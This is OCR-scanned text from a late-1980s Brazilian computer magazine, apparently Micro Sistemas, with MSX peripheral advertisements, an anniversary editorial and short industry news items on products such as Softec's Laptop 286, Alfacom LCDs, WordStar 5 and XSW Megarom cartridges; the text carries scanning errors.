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DIGITAL DESIGN
O MSX DO FUTURO

CARTAO DE 80 COLUNAS DDX 80 - DDX 80T b §

A placa DDX 80 possibilita o uso do video em 80 colunas.
A placa DDX 80T possui todas as caracteristicas do DDX 80,
| mais uma inferface serial R$232C Assincrona.

" < KIT PARA DRIVE DDX

Este Kit &é composto de um Gabinete Metdlico com Fonte de
Alimentacdo, uma interface DDX com cabo de ligacdo
para dois ““drives’’, um Manual, um Sistema Operacional
(DOS) e uma Embalagem contra-choques.

2.0
KIT DDX & transforma O MSX 4.0

Placa A 0 com 512 cores
e 14 em Msdxeg\}RAM e 80

Koytes de V
L%?un%{; embufido

EXPANSOR DE Si. DDX MEGA RAM DISK 256

Este aparelho expande cada ““SLOT” Esta placa é uma expansdo de
do micro MSX em 4 /SLOTS”’ memoéria de 256 Kbytes, com o Sistema
independentes, possibilitando ao Operacional DDX DOS residente.
usudrio utilizar até 8 ““SLOTS’’ Portanto, ela funciona como se fosse
simultaneamente, ao invés de 'um drive normal para o computador.

2 originalmente.

"/, ,/. /@ Digital Design Eletronica Ltda.
1Y/ Teis. (011)570-1113 - 570-7471 - 575-2853 - Sao Paulo - SP
=7/ design C.G.C.M.F. 56.472.533/0001-20 - INDUSTRIA BRASILEIRA




A DIGITAL DESIGN é uma empresa de capital genuinamente nacional
voltada a industrializacdo e comercializagdo de periféricos para a linha MSX.

Afuando no mercado ha mais de trés anos, O que prova a seriedade
Com gque a empresa encara o mercado de MSX, a DIGITAL DESIGN desenvolveu,
€ vem desenvoivendo, varios periféricos para o micro-computador pessoal
mais vendido do Brasil,

Enfre os periféricos desenvolvidos estdo: o KIT DE DRIVE
DDX. o CARTAO 80 COLUNAS DDX, a MEGA RAM DISK 256 e o KIT DDX 2.0,
uma placa que transforma o MSX 1.0 e 1.4 em MSX 2.0 com 512 cores,
128 Kbytes de VRAM e 80 colunas embutida

Esta sendo lancada uma INTERFACE DE COMUNICACAQ RS-232C

€ 0 EXPANSOR DE SLOTS DDX,

DDX:
ORIGINAL:
TECNOLOGIA DE PONTA DEDICADA A SEU MSX:
IRRESISTIVEL ATE PARA SER COPIADO... EXPERIMENTE!
AFINAL, TRATA-SE DE UM PRODUTO COM ESTA MARCA DE QUALIDADE:

([/,-,/,-'/,7[ 7 Digital Design Eletrénica Ltda.
-/ d

esign

REVENDEDORES DDX

SAO PAULO - SP / Ascoft Tel.: 549-9262 - Benny Micros RIO DE JANEIRO - RJ / MSX SOFT Informdtica Tel.: (021) 284-6791

Tel: 570-1555-Brindata Tel.: 864-1888-Bruno Blois  CURITIBA - PR / MSX SOFT Sul Informatica Tel.: (041) 233-0046
Tel.: 223-7011 - Casa do MSX Tel.: 533-2354 BELO HORIZONTE - MG / lema Tel.: (031) 212-6855
Cindlica Tel.: 36-6961 - Dafarecord : Argus Tel.: (031) 227-5688
Tel.: 457-9932 - Data Brind's Tel.: 287-9909 BRASILIA - DF / BCS Brasilia Tel.: (061) 274-7574
Datatec Tel.: 571-7083 - Ectron Tel.: 290-7266 CRP Informatica Tel.: (061) 248-1165
Fileril Tel.: 220-3833 - Farah's Informdtica Ditz Informatica Tel.: (061)243-4040
Tel.: 36-6707 - Game Of Time Tel.: 581-2739 SALVADOR - BA [ Micro & Periféricos Tel - (071) 359-5509
Nasa Tel.: 914-2266 - MCC Informatica RECIFE - PE / Quiminal Tel.: (081) 222-1224
Tel.: 262-1876 - MSX Soft Sampa Tel.: 579-8050 FORTALEZA - CE / Top Data Informdtica Tel.: (085) 239-1618
MSX Informatica Tel.: 872-0730 - MISC Sun Foto Tel.: (085)244-2308
Tel.: 34-8391 - Redi-Universoft Tel.: 825-5240 PORTO ALEGRE - RS / Fonte Computadores Tel.: (0512)25-2286
3 T Brindata Tel.: 864-1888 PELOTAS -RS/S. J. Informatica Tel.: (0532) 25-9906
STO. ANDRE - 5P / Shop Audio e Video Tel.: 444-6055 FLORIANOPOLIS - SC / Pratica Tel.: (0482) 22-0819
TAUBATE -SP[J.R. SOM Tel.: (0122) 33-1855 i MACEIO - AL / Datasoft Tel.: (082) 223-4984
SAQ JOSE DOS CAMPOS - SP / lgres Informdtica Tel.: (0123) 22-9057 CAMPINA GRANDE - PB / Magno Com pufadores
ARACATUBA - SP / Computec Tel.: (0186) 23-3647 | Tel: (083) 324-6472
SANTOS-SP / Drawline Tel.: (0132)34-9813 TUBARAC - SC / Display Com. e Repres. Tel: (0486) 22-1022




#Os destaques exclusivos
do MISC

FRANCHISING:

O MISC procura
parceiros comerciais
para as principais
cidades.
Consulte-nos para
maiores detalhes.

MEGA-RAM
DISK

Todos os recursos da mega-ram, com as
vantagens do drive!

Esta expans&o de 256 Kb feita pela DDX
pode ser utilizada em jogos (como a
mega-ram 256 Kb) ou como um drive,
permitindo sua utilizacao com aplicativos.
Sendo que a velocidade de acesso é muito
superior ao drive.

MSX-TURBO-DEVICE

Qutra exclusividade do MISC.

Esta interface, que é instalada no interior
do seu EXPERT, por vocé mesmo,
permite dobrar a velocidade de
processamento do seu msx.

VOCE ENCONTRARA TODOS ESSES
PRODUTOS NOS SEGUINTES LOCAIS:

MISC @
S&o Paulo MISC b3
R. Xavier de Toledo, 210 - Cj. 23 Lages - Santa Catarina g
CEP 01048 - S&o Paulo - SP R. Mal. Deodoro, 71 - Cj. 306 z
Fones: (011) 36-3226 e 34-8391 CEP 88500 - Lages - SC =
8
MisC MISC <
S&o José dos Campos Joinville - Santa Catarina i
R. Vilaga, 374 - Cj. 306 Trav. Norberto Bechman, 170 - Cj. 11, 12e 13 =
CEP 12210 - S50 José dos Campos - SP CEP 89200 - Joinville - SC
Fone: (0123) 41-5069 Fone: (0474) 22-1471
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MICRO SISTEMAS completa, nesia edi¢cdo, mais um ano de vida.
S&o oito anos de muito trabalho, mas fambém de agradaveis
recompensas. A maior delas, sem davida, é o prestigio com a gual a
revista € saudada nos meios em que circula.

Enframos nesse novo ano com um grande projefo em pautfa: a
fransformacdao do caderno de jogos, langcado na edigdo anterior,
em um encarte destacavel da revista. Com isso ele ndo sé ganha
maior autonomia, como também cores € uma dindmica diferente
das outras matérias da revista.

Com isso resgatamos, de forma séria e profissional, o fantastico
mundo da imaginacdo e da aventura. Acreditamos que é pela
porta da informdtfica informal, ou do lazer elefrénico, que milhares e
milhares de pessoas estdo descolbrindo e se infegrando ao mundo
do computador.

Renato Deglovani
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Interprint
comemora 30 anos

Um total de US$ 15 milhdes a ser investi-
do nos préximos trés anos com o objetivo de fa-
turar US$ 100 milhdes, foi anunciado pelo Dire-
tor Geral da Interprint Formularios Lida. e Inter-
print Impressos de Seguranca, Adolfo Menezes
Melito, em comemoragao aos 30 anos da empre-
sa no Brasil. Seus planos incluem a ampliagcao
do pargue grafico e o langcamento de produtos
na area de impressos de seguranca e em areas
pioneiras como a aplicacao de substancias qui-
micas em formularios continuos.

Nestes 30 anos a Interprint desenvolveu al-
gumas aplicacoes inéditas no Brasil como a po-
licromia em papel couché para formulario con-
tinuo, impressos de seguranca (loteria instanta-
nea e jogos promocionais), investiu na tecnolo-
gia daimpresséoadotando a fotocomposicao a
laser e, segundo seu Diretor Geral, pretende con-
tinuar mantendo a lideranga no desenvolvimento
de novos produtos com a recém-criada Gerén-
cia de Novos Produtos.

A empresa, hoje com sete filiais no Brasil
e trés fabricas no municipio de Sao Bernardo do
Campo, devera faturar este ano US$ 45 mi-
Ihdes,um valor 80% acima do resultado de US$
25 milhdes em 87, e 30% sobre os US$ 35 mi-
Ihdes do ano passado, aumentando de 11% pa-
ra 13% sua participacao no mercado e manten-
do o quarto lugar entre as empresas de formu-
larios continuos, conforme estimativas de Melito.

lochpe premia
frabalhos
de pesquisa

“Modelagem Matemética e Simulagdo em
Mancais Hidrodinamicos’, de autoria de Durval
Duarte Junior, da Escola Politécnica de Sao Paulo,
gue sugere um modelo matematico para avaliar
0 desempenho de mancais em funcionamento
no motor, foi o trabalho vencedor do Prémio loch-
pe de Tecrologia - Massey Ferguson - entregue
em Sao Paulo. No total foram inscritos 103 tra-
balhos sobre motores a combustao interna e
diesel.

“Queremos estimular o desenvolvimento
de técnicas e processos que contribuam paraa
modernizagao desse tipo de motor’, explica No-
berto Farina, diretor-presidente da Maxion S.A.,
empresa do Grupo gue fabrica motores, tratores
e componentes. “E pretendemos, ao mesmo
tempo, ajudar na conscientizag@o nacional de
gue s6 o desenvolvimento tecnoldgico coloca
um pais em condi¢oes de competir no exterior’,
acrescentou.

O primeiro lugar valeu a Durval um prémio
equivalente a 20.280 Bdnus do Tesouro Nacio-
nal (BTN) e o direito a uma viagem ao exterior, a
titulo de aperfeigoamento profissional. Houve
ainda guatro prémios de incentivo: na categoria
especial, Lydia Lopes Correa da Silva, do Instituto
de Pesquisas Tecnologicas (IPT) de Sao Paulo, foi
avencedora com o trabalho “Simulagao do pro-
cesso termodinamico de motores de combus-
tao interna em ciclo diesel”

Os outros trabalhos premiados foram
“Scroil Scraped Oil Cooled Piston’, de Miguel Aze-
vedo, da Metal Leve S.A.; “Desenvolvimento de
um programa de simulagao de motores a com-
bustao interna em ciclo com ignigéo por cente-
Iha’; de José A. dos Reis Parise e Hélio Pedro Ama-
ral Souto, da Pontificia Universidade Catélica do
Rio de Janeiro; e inovagoes tecnoldgicas em mo-
tores de combustdo, do pesquisador indepen-
dente Urbano Ernesto Stumpf.

Fas==—

Expen;eﬁtando
diversos penteados

0O ALICE SYSTEM, inventado por JEAN
CLAUDE BOURDIER, permite aos saldes de ca-
beleireiros propor a cada uma de suas clientes
“ver-se” a si mesma com um grande ndmero de
penteados diferentes e, assim, escolher cortes
e coloracOes com excepcional margem de acer-
to. Esta experiéncia virtual, que nao necessita
nem de trucagens de video nem de manipula-
goes complicadas, é a um so tempo rapida e
eficaz.

0O ALICE SYSTEM compde-se de quatro ele-
mentos: o aparelho fotografico “CYCLOPE” € um
aparelho sem regulagem, que permite obter com
toda seguranga um diapositivo do rosto da clien-
te. Este diapositivo, por sua vez, é integrado aum
“cartao beleza’, portador de cddigos que permi-
tem identificar os tracos da cliente e os pentea-
dos aconselhaveis. Estes “cartdes beleza” sao for-
necidos por ALICE SYSTEM.

O terceiro elemento € o espelho de Alice
“ALICE MIRROR" tela sobre a qual aparece o rosto
da cliente tal qual acha-se integrado no “cartao
beleza”; penteados com cabelos verdadeiros sao
projetados na tela, e a cliente se vé como se es-
tes penteados fossem seus.

Softec lanc
Lapiop 286

A Softec acaba de apresentar na IX Feira
Internacional de Informatica, o primeiro micro
brasileiro realmente portatil e compativel com o
IBM PC/AT, o LAPTOP 286. Segundo o diretor co-
mercial, Antonio Sergio Gabriel, “o objetivo da
Softec é oferecer ao mercado nacional produtos
com excelente nivel de preco e perfomance.”

Ja o EGO 386 foi oficialmente langado, pos-
sibilitando gue os micros compativeis com o IBM
PCIAT 286, inclusive o LAPTOPR evoluam para o
386 apenas com a troca de placas. Nessa ver-
sao, 0 386 utiliza o chipset importado, liberado
pela SEl até que o nacional esteja disponivel, e
suas caracteristicas basicas sao: BIOS da pro-
pria Softec; recurso de “interleaved” para agili-
zar o acesso do chip @ memdoria e garantir maior
perfomance; memadria RAM de 2 Mb expandivel
a até 16 Mb; acesso a monitores e também ao
display de cristal liguido padrao VGA, gracas &
interface que a Softec também esta langando no
mercado.

Até o final desse ano a Softec prevé o lan-
gamento do 386 na versao Torre, um gabinete
especialmente montado para ficar na vertical, in-
clusive com a parte mecanica mais pesada, ven-
tilagao forgada, controlador para video VGA e
clock de até 33 MHz, com o recurso de “cash”
para viabilizar a alta velocidade do clock com a
performance do chip A33.

e LA e e LTSl REREERE

qn de a
PRO KIT Software

Para os usuarios do MSX a PRO KIT Soft-
ware, uma das mais conhecidas empresas de
criagao e distribuigao de software do Rio de Ja-
neiro, esta trazendo novidades que certamente
irao facilitar a vida das pessoas que levam o seu
computador a sério.

A primeira novidade & que a partir de ago-
ra os usuarios dos produtos da série PRO KIT po-
derao criar um namero ilimitado de Masters e c6-
pias de seguranga, além de imprimir 0os manuais
de qualquer produto PRO KIT e de atualizar com
rapidez as versoes mais antigas do Zapper, Scan-
ner, Files, etc. Tudo isso e muito mais pode ser
feito com o ROT Il, um utilitario especifico para
quem trabalha com os programas PRO KIT.

A segunda novidade é a continuacgao da sé-
rie PRO KIT, desta vez com o langcamento do PRO
KIT FORMAT, um utilitirio capaz de fazer as mais
incriveis formatacGes de disquetes, ao gosto do
cliente, dando novas possibilidades de protegao
e desprotecgéo de programas, além de realizar ou-
tras tarefas tdo simples guanto necessarias co-
mo a desformatagdo de um disquete.

E para quem soube esperar, finalmente
chega ao mercado, ap6s quase um ano de tes-
tes e implementacdes, 0 GRAPHOS 1l PRO que,
segundo o seu autor Renato Degiovani, se cons-
titui na ferramenta definitiva para a criagao e con-
feccgao de graficos e desenhos. O GRAPHOS Il
PRO e os outros produtos da PRO KIT Software
podem ser encontrados nos diversos revende-
dores autorizados ou na propria PRO KIT Soft-
ware, caixa postal 44026, CEP 22062, Rio de
Janeiro.
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Alfacom col
Brasil na era
do cristal liquido

O Brasil est definitivamente entrando na
era do cristal liquido. O passo decisivo para tan-
to foi dado héa cerca de um més, guando o Con-
selho Nacional de Informatica e Automogao, Co-
nin, publicou no Diario Oficial da Uniao resolu-
¢do concedendo incentivos fiscais para a Alfa-
com produzir estes componentes.

0 visor de cristal liquido &€ um dispositivo
gue incorpora tecnologia de Gltima geragao en-
tre os gue compdem os chamados mostradores
planos e apresenta uma série de vantagens em
relac@o aos outros. As principais vantagens sao
o baixo consumo de energia, alta definicao de
imagem, portabilidade e, sobretudo, o baixo
custo.

A Alfacom, uma empresa do grupo Alfatro-
nic, esta investindo cerca de US$ 6 milhdes num
projeto que prevé para dentro de 36 meses a
completa nacionalizagao dos visores de cristal
liguido e j& firmou um acordo de cooperagao
técnico-cientifica com o CTI (Centro Tecnologi-
co de Informatica que € um érgéo da Secretaria
Especial de Ciéncia e Tecnologia). Um outro acor-
do no mesmo sentido foi firmado com a Philips
da Holanda.

L e e
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O visor de cristal liguido tem uma gama
muito grande de aplicagbes. Na informatica, ele
ja é usado para a fabricag@o do laptop ou com-
putador de colo; pode ser aplicado também em
coletores de dados, balancas eletronicas, termi-
nais de pontos de vendas etc; na automogao
bancéria, com caixas autométicas, terminais de
caixa e equipamento de informagao de crédito;
nas comunicagdes, em telefones, radios-
transmisores e receptores; em telas de televisao,
radios, toca-fitas e aparelhos de som de um mo-
do geral.

ATS qumenta sua e —
linha de produtos

A ATS - Tecnologia, Indistria e Comércio,
empresa fabricante de microcomputadores, esta
comercializando sua nova linha de micros PC/AT,
0s guais apresentam as mais avancadas carac-
teristicas tecndlogicas, tais como zero wait sta-
te, alta velocidade no clock, chaves de bloqueio
de teclado, reset e displays indicadores de
velocidade.

A nova linha ATS/AT, utiliza chip set da ltau-
com, e & constituida de duas versdes: o AT Desk
e AT Floor (mais conhecido como Torre), ambos
com duplo clock de 12/8 MHz, chaveados por te-
clado; microprocessadores 80286-10 da Intel
(podendo opcionalmente conterem processado-

res aritméticos 80287); suportam até 64K de
meméria EPROM e até 16mb de memoria RAM.
A nova arquitetura dos ATS/AT utiliza Back Plane,
o que facilita a manutencao. O AT Floor
diferencia-se por sua maior capacidade de pe-
riféricos, incluindo unidades de discos e fitas
(straemer). A 12 MHz com zero wait state, 0
ATS/AT obtém uma performance igual a um
IBM/AT em 16.1 MHz, no software Speed Teste.

Ruf comercializa
impressoras laser

A Ruf S/A, uma das maiores redes nacionais
de distribuigao de microinformaética, firmou um
contrato com a Grafix Eletronica para comercia-
lizar em todo o pais a linha de impressoras Gra-
fix Laser, que acaba de ser langada. A expectati-
va da Ruf é entregar cerca de 20 impressoras ao
més até o final de 89, com um trabalho de ven-
das dirigido principalmente para as pragas de
Sao Paulo, Belo Horizonte e Rio de Janeiro.

A nova linha Grafix Laser &€ a mais comple-
ta do mercado brasileiro, com cinco diferentes
modelos e varias implementacoes. Enquanto os
demais equipamentos desse tipo disponiveis no
Brasil tém sua perfomance situada em no ma-
ximo 6 ppm (paginas por minuto), 0s varios mo-
delos da Grafix Laser atingem velocidades de 8
ppm até 25 ppm.

MODEME STI.
SIMPLES E INTELIGENTE.

= SC 1200

930002299039

MODEM ANALOGICO - V22
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Modem analégico simples, Modem inteligente, controlado por micro-
econdmico e robusto para controlador. Projetado para operar full-duplex
aplicagdes genéricas em a dois fios, através de rede discada.
linhas telefénicas
privativas ou comutadas.

Rua Giordano Bruno, 383 - Telex: 51 5632 “STIY"”
Caixa Postal 5002 - Fone (0512) 32.3503

CEP 90.410 - Porto Alegre - RS

Escritdrio em S&o Paulo: Av. Desembargador Eliseu
Guilherme, 299 - Bairro Paraiso - Fone (011) 2875907
CEP 04.004 - Séo Paulo - SP.

Modens utilizados para acesso & Servico
de Banco de Dados: Cirandéo, Video-Texto,
Aruanda, Renpac e outros.

INFORMATICA

PS Propaganda
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Amiga e computacdo
gréfica na
MP Informdtica

A MP Informética, seguindo sua filosofia de
sempre estar na vanguarda tecnologica da mi-
croinformatica passou, desde setembro (ltimo,
atrabalhar coma linha Commodore AMIGA, de-
sativando sua area de MSX.

A empresa tomou a decisao da desativagio
do MSX por entender que essa linha entrou num
declinio acentuado no Brasil, enquanto no exte-
rior ja no se fazem mais software ou hardware
para MSX1 ou MSX2,

Ja para a linha AMIGA, a empresa dispde
atualmente de mais de 700 programas entre jo-
g0s e aplicativos (a maioria com seus manuais)
e uma biblioteca completa sobre hardware e
software.

A partir de outubro a MP passara a minis-
trar cursos de computagéo grafica e genéricos
para a linha AMIGA, assirm como ira inaugurar o
seu bureau de computacao gréafica para a pres-
tacao de servicos a terceiros, tais como vinhe-
tas, animacao, digitaliza‘féo e desktop publishing.

Para melhor atender ao usuério de AMIGA,
a MP Informética ja providenciou seu cadastro
junto a Commodore e passara arepresenta-lano
Brasil.

Tandem mosira
lancamentos em
Fax e Telex

A Tandem Tecnologia, empresa dedicada
ao desenvolvimento de solugdes em telematica,
apresentou trés novos produtos durante a Feira
Internacional de Informatica.

Seguindo a mesma filosofia do Intelex, um
concentrador que ja se definiu como um sucesso
junto aos usuarios, a Tandem trouxe o Intelex/L,
uma versao mais econdmica que a anterior, mas
capaz, também, de transformar micros PC, XT,
AT e 386 em telex. O Intelex/L substitui com van-
tagem até trés teleimpressoras convencionais,
permitindo ainda que o micro e a impressora fi-
quem liberados para outras aplicagoes, sejam
desligados a noite sem interromper o recebimen-
to ou envio de mensagens, e oferecendo, além
disso, transmissao com hora programada, mul-
tienderecamento, rechamada automatica e dis-
cagem abreviada.

Na area de fac-similes, a Tandem apresen-
tou um novo software para o FaxT, um emulador
de fac-simile que, na versao em langamento, pas-
sa a oferecer também a opg¢ao de transmitir ar-
quivos de programas e dados micro a micro, sem
operador, em horéario programado. Assim, o FaxT
passa a funcionar como um modem sincrono de
2.400 a 9.600 bauds, nos padroes V.27 e V.29,
s6 que pela metade do prego deste.

O FaxT pode receber e enviar textos ou gra-
ficos. Além disso, oferece recursos como broad-
cast, para difuséo de circulares entre clientes e
filiais, por exemplo; polling, gue permite consuita
e recepcgao automatica de documentos fac-
similes recebidos; meméria para centenas de ni-

meros telefonicos para discagem abreviada; op-
cao de mensagens confidenciais que exigem se-
nha impressas; e rechamada automatica em ca-
50 de o nimero chamado estar ocupado, entre
outras.

Automacao
e ofimizacdo em
serrarias

VARISYS, idealizado e projetado pela em-
presa francesa CIRIS, & um sistema de automa-
¢ao e de otimizacdo para carrinhos porta-toras,
composto de 8 modulos distintos que contri-
buem, cada um na sua parte e em sua fungao
particular, num aumento sensivel da
rentabilidade.

Este conjunto de fungdes conduz a uma oti-
mizacao da produtividade, gracas a regularida-
de do sistema automéatico de controle que ga-
rante, em permanéncia, a cadéncia maxima de
corte. Ao mesmo tempo, proporciona um aumen-
to significativo do rendimento das toras gragas
a um melhor posicionamento da tora e & preci-
580 do corte de serra gue permite uma diminui-
¢ao da espessura de base dos cortes.

Dessa forma consegue-se um aumento no-
tavel de rentabilidade, garantindo retorno do in-
vestimento em alguns meses.

Brasoft lanca nova
versao do Wordstar

Para atender as necessidades cada vez
mais sofisticadas dos usuarios de processado-
res de textos, a versao 5 do WordStar Profissio-
nal incorpora mais de uma centena de novos re-
cursos gue facilitam e agilizam a confeccéo de
documentos, newsletters e demais textos profis-
sionais, permitindo uma alta qualidade visual.

Entre as novidades da nova versao esta o
layout de impressao (Advanced Page Preview),
que permite visualizar na tela a pagina exatamen-
te como sera impressa; o alinhamento automa-
fico (on-line), janelas para edigdo de textos simul-
taneos, além de possibilitar a insercao de arqui-
vos de outros programas como dBase e Lotus.

Esta versao traz também os novos menus
de orientacao rapida (menus suspensos), que eli-
minam a necessidade de contato prévio com os
comandos, permitindo ao usuério comegar fa-
zendo em vez de aprendendo. Oferece aindaum
maior nimero de recursos redacionais, como por
exemplo, a possibilidade de obter até oito colu-
nas, o salvamento automatico, com tempo pré-
programado, e a edigdo em fontes proporcionz s,
indicando on-line a largura de pagina.

T BEETTEE

Bahia Video lan¢
catdlogo eletrdnico

A Bahia Video & Informatica, empresa vol-
tada para a linhaMSX e produgdes em video es-
ta expandindo sua area de acio, antes restrita
ao mercado baiano, langando nacionalmente o
seu Catalogo Eletrdnico, onde o cliente podera
gratuita e comodamente ser informado das no-
vidades para o MSX, além de jogos e programas
comercializados por esta softhouse.

Exclusividade da BAVI, este catéalogo permi-
te ao seu usuario, com simples toque, escolher
0s programas desejados, emitindo o seu pedi-
do automaticamente em sua impressora.

Quaisquer informagoes o telefone da Bahia
Video e Informatica é (071) 521-0363.

8 MICRO SISTEMAS
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Um visiofone de
alta resolucao

Ver seu comrespondente ou os participan-
tes de uma teleconferéncia em seus movimen-
tos reais e sem deformacao, comentar com eles
um crogui exposio, tudo a cores e com uma ima-
gem de gualidade video: € para tudo isso que a
empresz IEPSO projetou seu Vuphone. Sua ca-
mara de focalizzcao automatica e uma tela de
9 polegadas em diagonal, capaz de distinguir
250 linhas, = distnguem dos visiofones destina-
dos apenas 2 rede t=lefonica e limitados a uma
série de guadros fixos de baixa definigao. Para
pleno aprovestamento das qualidades do Vupho-
ne, € portanto necessario ligd-lo a uma rede pu-
blica ou privada de ampla faixa. No controle do
terminal usa-se um teclado de 66 teclas que da
acesso 20s bancos de dados de videotexto e per-
mite a sobreimpressao, na imagem video rece-
bida pelo ou pelos corespondentes, de incrus-
tacoes de t=xto = gr=ficos de acordo com as nor-

ietel ou Prestel, gragas a um modem V23
200 bauds.
=0 =i=fonia € classica, como ressalta
ces de Informagao Industrial
onivel uma tomada Dim de

5pinosparz u
um computador ou UMa impressora. E possivel
converter ests 1ada em saida RS232 parao
comando de videodisco, por exemplo, e fazer do

Vulphone um servo indicador de imagens.

0 equipamento & apenas um dos elemen-
tos de uma linha de equipamentos fabricados pe-
1a IEPSO para o gerenciamento emrede das ima-
gens video conjugadas a outras formas de
comunicagao.

Progress versao 5

A Datasul esta liberando a verséo 5 do Pro-
gress, que traz importantes implementacoes em
seu sistema de gerenciamento de banco de da-
dos relacional e linguagem de guarta geracao.

Aversao 5 inclui varias caracteristicas, co-
mo melhor desempenho através de implemen-
tacaéo de uma multiconectividade com arquite-
tura multisservidora, ou seja, miltiplos servido-
res com sistemnas diferentes podem acessar o
mesmo banco de dados. A L4G foi expandida pa-
ra aceitar comandos SOL (padrao ANSI) e Pro-
gress, ou uma combinacao dos dois, podem ser
compilados e passar a fazer parte do mesmo co-
digo executavel.

Outras vantagens contidas na nova versao
dao também maior eficiéncia no desenvolvimen-
to de programas. Sao elas: otimizador de memo-
ria do DOS, extenso dicionario de dados, passan-
do a ter, inclusive, caracteres alfabéticos
internacionais.

Além disso, o desenvolvimento de aplica-
¢oes se torna ainda mais facil com o Progress

Fast Track, um menu-driver que complementaa
L4G. Usando as barras de menu e as técnicas
point-and-pick, os programadores podem gerar
rapidamente os menus, telas e relat6rios, aumen-
tando a velocidade no processo de
desenvolvimento.

A empresa grafica e impressora Lithosphe-
re, sediada em Londres, investiu meio milhdo de
libras em novos equipamentos para pré-
impress3o. Trata-se de um sistema de composi-
¢ao eletrénica SCITEX IMAGER lll, conectado a
um scanner de saida de alta resolugao ITEK CO-
LOUR GRAFIC 410-R. Esta configuragdo € o pri-
meiro caso de sistema Scitex conectado a um
dispositivo de saida ITEK.

Fundada em 1980, a Litosphere € hoje a
maior cooperativa impressora britanica. Com 32
empregados, fatura em torno de 1,1 milhdes de
libras anualmente, prevendo triplicar esta cifra
nos proximos 5 anos com a produgao gerada pe-
lo novo equipamento.

A ITEK COLOUR GRAPHICS e a SCITEX ja
realizaram varias outras instalagdes conjuntas na
Europa, nas quais a ICG fornece Scanners de en-
trada. O 410-R, com resoclugao de 3.200 linhas
por polegadas manipula tanto texto como arte
atraco, sofrendo apenas pequenas adaptagoes
secundarias em hardware para poder fazer o in-
tercambio de dados.

il

. SCO XENIX

UNIX - MS-DOS - REDE

Contabilidade' G_é:réncial

Compare vocé mesmo £ E

B Conrolada por menus, realmente on-line e multi-usurio v/ B Recebe Conias e Langamentos de fontes exiemas v/

B Plzno de Conias definido pelo usuario com suporte para 4 W Converte todos os dados armazenados no Sistema para 4
Cenfros de Cuslo formatos compativeis com o LOTUS 1-2-3, dBase, e

B Cadigo das Contas com até 16 digitos e até 9 graus o4 acessiveis por qualquer linguagem de programagao,

B Hisidricos com até 5 linhas de 40 caracleres cada b4 permitindo a infegrago com ouftros sistemas

B Lancamenios de partida simples ou dobrada 4 H |ntegrado ao Sistema de Orcamento e Modelagem Financeira| «

B Execuiz lancamentos em diversos meses simultaneamente |+ Intelsoft _

B Permite voltar para qualquer periodo do exercicio v B Os dados podem ser convertidos para qualquer dos 4

B Consolida Planos de Contas de diversas empresas ou filiais |« ambientes suportados

com calculos livres

B Gerador de Relat6rios que permite a definicao de refatérios |«
adicionais, envolvendo dados de conias e centros de custo,

9 ® Consulta a0 Razzo no video, sempre atualizado para 7
qualquer periodo, a qualquer momento

-.+ E Consulta Langamentos no video permitindo pesquisapelo |+
valor do langamento ou trechos de histérico

B Consulta de Balancete no video com saldos e movimentos |«
acumulados a débito e a crédilo

INTELSOFT

Intelsoft Informatica Ltda.

Maiores informagoes (021) 265-3346

Praia do Flamengo, 66 sala 1114

CEP 22210 - Rio de Janeiro, RJ Telex (021)37416 ISOF

Fliada & ABES

Registro na SEI n¥ 09008 - 5 Categoria A
Copiar software & crime sujeito &5 penas da
Lei n® 7646-87. Todas as marcas
mencionadas estio registradas por seus
propristérios e possusm copyright mundial.
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A Megarom XSW chega
ao mercado

A empresa paulista XSW langou, na segun-
da quinzena de agosto, o0 1° cartucho “MEGA-
ROM" nacional. Os cartuchos comuns contém
16 ou 23 Kbytes de memoria. Os MEGAROM
contém | milhdo de bits, que equivalem a 128
Kbytes.

O projeto estava engavetado ha varios me-
ses devido aos altos custos envolvidos. O proble-
ma com o custo foi solucionado através de um
esquema de locagao, também inédito no mer-
cado nacional de MSX: o usuario que nao quiser
ou nao puder adquirir o cartucho, poderé alugé-lo
pelo tempo que desejar.

Com os cartuchos MEGAROM, os milhares
de usuarios que ndo possuem disk-drive pode-
rao ter acesso aos famosos jogos MEGAROM
(NEMESIS | e I, SALAMANDER, PARODIUS, AN-
TARTIC ADVENTURE, GALFORCE II, etc...).

Além disso, a XSW produzira também car-
tuchos “PARANOID EXPAND’, que nada sao gue
MEGAROM's gravados com varios softwares co-
muns, como o MSX WRITE, o EDDY 2, 0 EMU, o
MSX DATA, o MSX PLAN e o VOX. O usuério tera,
num unico cartucho, varios softwares aplicativos
ou utilitdrios, chamados através do BASIC, sem
anecessidade de ficar trocando cartuchos, evi-

- tando o desgaste prematuro dos conectores do
micro.

Supercailc acompanha
informatizacdo do
Citibank

Desde o inicio da informatizagao do Citi-
bank, quando o parque instalado era formado por
méagquinas CP/M, a planilha eletrénica Supercalc,
da Compucenter Associates, foi homologada co-
mo o produto mais adequado aos usuarios de
microinformética. Hoje, com cerca de 200 copias
instaladas, o Citibank esta entre os principais
usudrios do produto, distribuido no pais pela CI-
Compucenter Informética.

Segundo Milton Massaru Nishimaki, geren-
te do Citibank, as planilhas eletronicas vém so-
frendo implementagdes novas a cada versao. Pa-
ra o executivo, que organizou umworkshop com
0s usarios do Citibank para apresentar as novas
caracteristicas do SUPERCALC 5 em relacao a
versdo 4.0, o Citibank vem mantendo a mesma
cultura em planilha eletronica e tem realizado es-
te tipo de evento para outros produtos de mi-

croinforméatica, como uma forma eficiente de
treinamento e atualizagdo dos usuérios.

O SUPERCALC 5 traz 40 novas funcdes em
relagdo a sua versao anterior, e permite mais de
100 tipos de gréficos em 2 e 3 dimensobes. O pro-
grama faz a ligagéo de até 255 planilhas na me-
moria (ou em disco) e comporta visualizagao e
manipulagdo de até 3 planilhas simultaneamente
na tela.

Mlcrotec Ianc;a dO|s
NOVOS Micros

A Microtec Sistemas lider nacional no seg-
mento de microcomputadores de 16 e 32 bits,
participou da Feira de Informatica, com dois lan-
camentos na sua familia de microcomputadores,
ambos com caracteristicas inéditas no merca-
do brasileiro.

As duas novidades sdo o MF386/SX - um
hardware com processamento de 32 bits e bar-
ramento de 16 bits - e 0 MF386/25MHz, posicio-
nado como a maquina mais veloz do mercado
brasileiro em sua categoria. Para langar os dois
novos micros, a Microtec investiu cerca de US$
2 milhdes em pesquisa e desenvolvimento nos
Gltimos 12 meses.

0 MF386/SX & o primeiro micro nacional a
incorporar uma das Ultimas novidades da Intel,
o microprocessador 80386/sx, até agora so uti-
lizado por fabricantes como IBM, Compagqg e Tos-
Aiba. Além disso, o novo micro apresenta outras
caracteristicas s0 encontradas em maquinas lan-
gadas ha apenas um ano no mercado internacio-
nal: mantém arquitetura de 16 bits e executa in-
ternamente todas as instrucdes de um micro-
computador de 32 bits, rodando softwares po-
